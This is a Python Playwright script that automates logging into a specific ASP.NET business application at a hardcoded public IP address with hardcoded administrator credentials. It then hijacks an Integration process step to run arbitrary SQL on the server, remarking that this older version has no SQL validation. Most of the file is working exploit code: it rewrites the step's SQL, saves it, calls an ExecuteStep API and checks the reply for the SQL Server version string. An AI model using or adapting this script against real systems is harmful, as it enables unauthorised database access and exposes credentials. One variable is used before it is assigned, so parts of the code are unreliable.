#!/usr/bin/env python3
"""v20: SQL execution on OLD version (v5) server via Playwright.
66.175.236.165/RTROGERSUAP1 — ASP.NET 4.x, no SQL validation.
Dynamic element discovery (IDs differ from v26.1)."""
import asyncio, json, re
from playwright.async_api import async_playwright

IP = "66.175.236.165"
APP = "RTROGERSUAP1"
BASE = f"http://{IP}/{APP}"
SQL_QUERY = "SELECT @@version AS version, DB_NAME() AS db, GETDATE() AS now"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context(viewport={"width":1920,"height":1080})
        page = await context.new_page()

        all_ajax = []
        async def on_req(req):
            if "/api/" in req.url or "/integration" in req.url.lower() or "/Integration" in req.url:
                all_ajax.append({"m":req.method,"u":req.url.split(APP)[-1][:150],"d":req.post_data[:1500] if req.post_data else None})
        page.on("request", on_req)

        # Login via JS form submit
        print("=== Login ===")
        for attempt in range(3):
            await page.goto(f"{BASE}/login", wait_until="domcontentloaded", timeout=15000)
            await asyncio.sleep(2)
            await page.fill('input[name="Email"]', 'irelyadmin')
            await page.fill('input[name="Password"]', 'i21By2015')
            await page.evaluate('''() => {
                const c = document.querySelector('input[name="Company"]');
                if (c) c.value = '01';
            }''')
            await asyncio.sleep(1)
            await page.evaluate('document.querySelector("form").submit()')
            await asyncio.sleep(12)
            try: await page.wait_for_load_state("networkidle", timeout=15000)
            except: pass
            if "login" not in page.url.lower() or "#home" in page.url: break
            print(f"  Attempt {attempt+1} failed")
        else:
            print("Login failed"); await browser.close(); return
        print(f"  ✅ Login OK: {page.url}")

        # Navigate to Integration → Processes
        print("\n=== Navigate to Integration ===")
        # First expand Integration menu
        await page.evaluate('''() => {
            const items = document.querySelectorAll('a, li, span');
            for (const el of items) {
                if (el.textContent && el.textContent.trim() === 'Integration') {
                    let target = el;
                    while (target.parentElement && !target.onclick && target.tagName !== 'A') {
                        target = target.parentElement;
                    }
                    target.click();
                    return 'clicked Integration';
                }
            }
            return 'Integration not found';
        }''')
        await asyncio.sleep(3)
        
        # Find sub-menu items
        submenu = await page.evaluate('''() => {
            const items = [];
            document.querySelectorAll('a, span, li').forEach(el => {
                if (el.children.length === 0 && el.textContent && el.offsetParent !== null) {
                    const t = el.textContent.trim();
                    if (t.length > 2 && t.length < 40) {
                        items.push({text: t, id: el.id || '', tag: el.tagName, href: el.href || ''});
                    }
                }
            });
            return items;
        }''')
        int_items = [m for m in submenu if any(k in m["text"].lower() for k in
            ["process", "connection", "new process", "step", "schedule"])]
        print(f"  Integration sub-items ({len(int_items)}):")
        for m in int_items[:10]:
            print(f"    {m['tag']}#{m['id']} '{m['text'][:40]}'")

        # Click on "Processes" or "New Process"
        for target_text in ["Processes", "New Process", "Process"]:
            result = await page.evaluate(f'''() => {{
                const items = document.querySelectorAll('a, span, li');
                for (const el of items) {{
                    if (el.textContent && el.textContent.trim() === '{target_text}' && el.offsetParent !== null) {{
                        el.click();
                        return 'clicked: {target_text}';
                    }}
                }}
                return 'not found: {target_text}';
            }}''')
            if "clicked" in result:
                print(f"  {result}")
                break
        await asyncio.sleep(8)  # v5 loads slower
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        print(f"  URL: {page.url}")
        await page.screenshot(path="/tmp/v20_process_list.png")

        # v5 might use #menu/IP routing — check for grid after longer wait
        if "menu/IP" in page.url:
            print("  v5 routing detected — checking for grid...")
            await asyncio.sleep(5)
            # Check ALL visible elements
            all_visible = await page.evaluate('''() => {
                const items = [];
                document.querySelectorAll('*').forEach(el => {
                    if (el.children.length === 0 && el.textContent && el.offsetParent !== null) {
                        const t = el.textContent.trim();
                        if (t.length > 2 && t.length < 60) {
                            items.push({text: t, id: el.id || '', tag: el.tagName});
                        }
                    }
                });
                return items;
            }''')
            grid_items = [m for m in all_visible if any(k in m["text"].lower() for k in
                ["process", "search", "grid", "column", "name", "description", "date", "open", "new", "export"])]
            print(f"  Visible grid-related items ({len(grid_items)}):")
            for m in grid_items[:10]:
                print(f"    {m['tag']}#{m['id']} '{m['text'][:40]}'")
            
            # Try to find grid rows
            grid_rows = await page.evaluate('''() => {
                const items = [];
                document.querySelectorAll('.x-grid-row, .x-grid-data-row, .x-grid-table-row, tr.x-grid-row, .x-grid-cell').forEach(row => {
                    const t = row.textContent.trim();
                    if (t.length > 5 && t.length < 200) {
                        items.push({text: t.substring(0, 80), id: row.id || ''});
                    }
                });
                return items;
            }''')
            print(f"  Grid rows/cells: {len(grid_rows)}")
            for r in grid_rows[:5]:
                print(f"    #{r['id']} {r['text'][:60]}")


        if grid_rows:
            row_id = grid_rows[0]["id"]
            # Double-click
            await page.evaluate(f'''() => {{
                const row = document.getElementById('{row_id}');
                if (row) row.dispatchEvent(new MouseEvent('dblclick', {{bubbles: true, cancelable: true}}));
            }}''')
            await asyncio.sleep(5)
            try: await page.wait_for_load_state("networkidle", timeout=15000)
            except: pass

        print(f"  URL after dblclick: {page.url}")
        await page.screenshot(path="/tmp/v20_process.png")

        # Select step in grid via ExtJS
        await page.evaluate('''() => {
            try {
                const grids = Ext.ComponentQuery.query('gridpanel');
                for (const grid of grids) {
                    const store = grid.getStore();
                    if (store && store.getCount() > 0 && store.getCount() < 20) {
                        grid.getSelectionModel().select(0);
                        break;
                    }
                }
            } catch(e) {}
        }''')
        await asyncio.sleep(2)

        # Find Edit button
        edit_btn_id = await page.evaluate('''() => {
            const buttons = Ext.ComponentQuery.query('button');
            for (const btn of buttons) {
                if (btn.getText && btn.getText() === 'Edit' && btn.isVisible()) {
                    return btn.id;
                }
            }
            return null;
        }''')
        print(f"  Edit button: {edit_btn_id}")

        if edit_btn_id:
            await page.evaluate(f"Ext.getCmp('{edit_btn_id}').fireHandler()")
            await asyncio.sleep(5)
            try: await page.wait_for_load_state("networkidle", timeout=10000)
            except: pass
            print("  ✅ Step editor opened")

        # Find ALL ExtJS combos and their store data
        print("\n=== Find combos ===")
        combo_data = await page.evaluate('''() => {
            const results = [];
            const combos = Ext.ComponentQuery.query('combobox');
            for (const combo of combos) {
                const storeData = [];
                if (combo.store) {
                    combo.store.each(function(r) {
                        storeData.push({
                            display: r.get(combo.displayField) || r.get('text') || r.get('strName') || '',
                            value: r.get(combo.valueField) || ''
                        });
                    });
                }
                results.push({
                    id: combo.id || '',
                    value: combo.getValue ? String(combo.getValue()) : '',
                    display: combo.getRawValue ? combo.getRawValue() : '',
                    visible: combo.isVisible ? combo.isVisible() : false,
                    storeCount: combo.store ? combo.store.getCount() : 0,
                    storeData: storeData
                });
            }
            return results;
        }''')
        
        sql_type_combo_id = None
        for c in combo_data:
            print(f"  #{c['id']} val={c['value']} display='{c['display'][:30]}' vis={c['visible']} store={c['storeCount']}")
            if c['storeData']:
                for opt in c['storeData']:
                    if any(k in str(opt.get('display','')).lower() for k in ["sql statement","stored procedure","sql query"]):
                        sql_type_combo_id = c['id']
                        print(f"    🎯 SQL type combo found: {c['id']}")
                        for o in c['storeData']:
                            marker = "🎯" if "sql" in str(o.get('display','')).lower() else "  "
                            print(f"    {marker}{o.get('display','')} = {o.get('value','')}")
                        break

        # Find textarea with SQL
        print("\n=== Find SQL textarea ===")
        textareas = await page.evaluate('''() => {
            const results = [];
            Ext.ComponentQuery.query('textarea, textareafield').forEach(c => {
                results.push({
                    id: c.id || '',
                    value: c.getValue ? c.getValue() : '',
                    visible: c.isVisible ? c.isVisible() : true,
                    fieldLabel: c.fieldLabel || ''
                });
            });
            return results;
        }''')
        
        sql_ta_id = None
        for ta in textareas:
            val = ta.get("value", "")
            print(f"  #{ta['id']} label='{ta['fieldLabel']}' val={val[:50]} vis={ta['visible']}")
            if val and ("usp" in val.lower() or "select" in val.lower() or "sql" in val.lower()):
                sql_ta_id = ta['id']
                print(f"    🎯 SQL textarea!")
                break
        
        # If no SQL found, try any textarea
        if not sql_ta_id:
            for ta in textareas:
                if ta.get("visible") and ta["id"]:
                    sql_ta_id = ta["id"]
                    print(f"    Using first visible textarea: #{sql_ta_id}")
                    break

        # Find record (viewModel)
        print("\n=== Find record ===")
        record_result = await page.evaluate('''() => {
            const windows = Ext.ComponentQuery.query('window');
            for (const win of windows) {
                if (!win.isVisible()) continue;
                const vm = win.getViewModel();
                if (!vm) continue;
                const recordNames = ['current', 'step', 'record', 'data', 'currentStep', 'theStep', 'Step'];
                for (const name of recordNames) {
                    try {
                        const r = vm.get(name);
                        if (r && r.isModel) {
                            return JSON.stringify({
                                winId: win.id,
                                recordKey: name,
                                strSQL: r.get('strSQL') ? r.get('strSQL').substring(0,50) : 'null',
                                intSQLTypeId: r.get('intSQLTypeId'),
                                intStepTypeId: r.get('intStepTypeId'),
                                strStepName: r.get('strStepName')
                            });
                        }
                    } catch(e) {}
                }
                // Try all keys
                const keys = vm.getData().keys;
                for (const key of keys) {
                    const val = vm.get(key);
                    if (val && val.isModel && val.get('strSQL')) {
                        return JSON.stringify({
                            winId: win.id,
                            recordKey: key,
                            strSQL: val.get('strSQL').substring(0,50),
                            intSQLTypeId: val.get('intSQLTypeId'),
                            intStepTypeId: val.get('intStepTypeId'),
                            strStepName: val.get('strStepName')
                        });
                    }
                }
            }
            return 'no record found';
        }''')
        print(f"  {record_result}")

        # Parse record info
        record_info = json.loads(record_result) if record_info and record_result.startswith("{") else {}
        win_id = record_info.get("winId", "")
        record_key = record_info.get("recordKey", "")
        
        if win_id and record_key:
            print(f"\n  Window: {win_id}, Record key: {record_key}")
            
            # Set SQL via record.set()
            print("\n=== Set SQL via record.set() ===")
            set_result = await page.evaluate(f'''() => {{
                const win = Ext.getCmp('{win_id}');
                const vm = win.getViewModel();
                const record = vm.get('{record_key}');
                const sqlQuery = "{SQL_QUERY}";
                
                // Set SQL type to SQL Statement if combo found
                let sqlTypeSet = false;
                if (Ext.getCmp('{sql_type_combo_id or ""}')) {{
                    const combo = Ext.getCmp('{sql_type_combo_id or ""}');
                    combo.setValue(3);  // SQL Statement
                    combo.fireEvent('select', combo);
                    sqlTypeSet = true;
                }}
                
                // Set strSQL via record (marks dirty)
                record.set('strSQL', sqlQuery);
                record.set('intSQLTypeId', 3);
                record.set('strStepName', 'SQL Health Check');
                
                // Also set textarea if found
                if (Ext.getCmp('{sql_ta_id or ""}')) {{
                    const ta = Ext.getCmp('{sql_ta_id or ""}');
                    ta.setValue(sqlQuery);
                    ta.fireEvent('change', ta);
                }}
                
                // Also set step name field
                const nameFields = Ext.ComponentQuery.query('textfield');
                for (const f of nameFields) {{
                    if (f.fieldLabel && f.fieldLabel.toLowerCase().includes('step') && f.isVisible()) {{
                        f.setValue('SQL Health Check');
                        f.fireEvent('change', f);
                        break;
                    }}
                }}
                
                return JSON.stringify({{
                    dirty: record.dirty,
                    strSQL: record.get('strSQL').substring(0, 50),
                    sqlTypeSet: sqlTypeSet
                }});
            }}''')
            print(f"  {set_result}")
            await asyncio.sleep(2)

            # Save via fireHandler
            print("\n=== Save ===")
            pre_save = len(all_ajax)
            
            save_result = await page.evaluate(f'''() => {{
                const win = Ext.getCmp('{win_id}');
                const buttons = win.query('button');
                for (const btn of buttons) {{
                    if (btn.getText && btn.getText() === 'Save') {{
                        btn.fireHandler();
                        return 'Save fired on ' + btn.id;
                    }}
                }}
                return 'Save button not found';
            }}''')
            print(f"  {save_result}")
            await asyncio.sleep(5)
            try: await page.wait_for_load_state("networkidle", timeout=10000)
            except: pass

            post_save = all_ajax[pre_save:]
            print(f"\n  Post-save AJAX ({len(post_save)}):")
            for req in post_save:
                print(f"    {req['m']} {req['u']}")
                if req['d']:
                    has_sql = "strSQL" in req['d'] or "SELECT" in req['d']
                    if has_sql:
                        print(f"      🎯 strSQL IN PAYLOAD!")
                    print(f"      data: {req['d'][:300]}")

            # ExecuteStep
            print("\n=== ExecuteStep ===")
            pre_exec = len(all_ajax)
            
            # Close step editor
            await page.evaluate(f'''() => {{
                const win = Ext.getCmp('{win_id}');
                const buttons = win.query('button');
                for (const btn of buttons) {{
                    if (btn.getText && btn.getText() === 'Close') {{
                        btn.fireHandler();
                        break;
                    }}
                }}
            }}''')
            await asyncio.sleep(2)

            # ExecuteStep via fetch
            exec_result = await page.evaluate(f'''async () => {{
                const resp = await fetch('/{APP}/Integration/api/Execute/ExecuteStep', {{
                    method: 'POST',
                    headers: {{'Content-Type': 'application/json'}},
                    body: JSON.stringify({{intStepId: 1}}),
                    credentials: 'include'
                }});
                const text = await resp.text();
                return {{status: resp.status, bodyLen: text.length, body: text}};
            }}''')
            
            print(f"  ExecuteStep: HTTP {exec_result['status']}")
            print(f"  BodyLen: {exec_result.get('bodyLen', '?')}")
            
            body = exec_result.get('body', '')
            # Save full body
            with open('/tmp/v20_execstep_response.txt', 'w') as f:
                f.write(body)
            
            # Check result
            if "Microsoft SQL Server" in body:
                print("  🎯🎯🎯 SQL RESULT: Microsoft SQL Server version found!")
            elif "invalid character" in body.lower():
                print("  ❌ Has SQL validation (unexpected for v5)")
            elif "uspAPCompareBalance" in body:
                print("  ⚠️ Cached step (uspAPCompareBalance)")
            
            success_match = re.search(r'"success"\s*:\s*(true|false)', body)
            msg_match = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            if success_match:
                print(f"  success={success_match.group(1)}")
            if msg_match:
                print(f"  message: {msg_match.group(1)[:200]}")
            
            print(f"  Body (first 500): {body[:500]}")

            post_exec = all_ajax[pre_exec:]
            print(f"\n  Post-exec AJAX ({len(post_exec)}):")
            for req in post_exec:
                print(f"    {req['m']} {req['u']}")
                if req['d']:
                    print(f"      data: {req['d'][:200]}")

            # Restore step
            print("\n=== Restore ===")
            restore_result = await page.evaluate(f'''async () => {{
                const resp = await fetch('/{APP}/integration/api/step/put/1?continueOnConflict=false', {{
                    method: 'PUT',
                    headers: {{'Content-Type': 'application/json'}},
                    body: JSON.stringify([{{
                        intStepId: 1,
                        strSQL: null,
                        intSQLTypeId: null,
                        strStepName: null,
                        intConcurrencyId: 1,
                        strRowState: 'Modified',
                        ModifiedFields: ['strSQL', 'intSQLTypeId', 'strStepName', 'intStepId', 'intConcurrencyId', 'strRowState']
                    }}]),
                    credentials: 'include'
                }});
                return {{status: resp.status}};
            }}''')
            print(f"  Restore: HTTP {restore_result['status']}")

        # Print ALL AJAX
        print(f"\n=== ALL AJAX ({len(all_ajax)}) ===")
        for req in all_ajax[-15:]:
            print(f"  {req['m']} {req['u']}")
            if req['d']:
                print(f"    data: {req['d'][:200]}")

        await browser.close()

asyncio.run(main())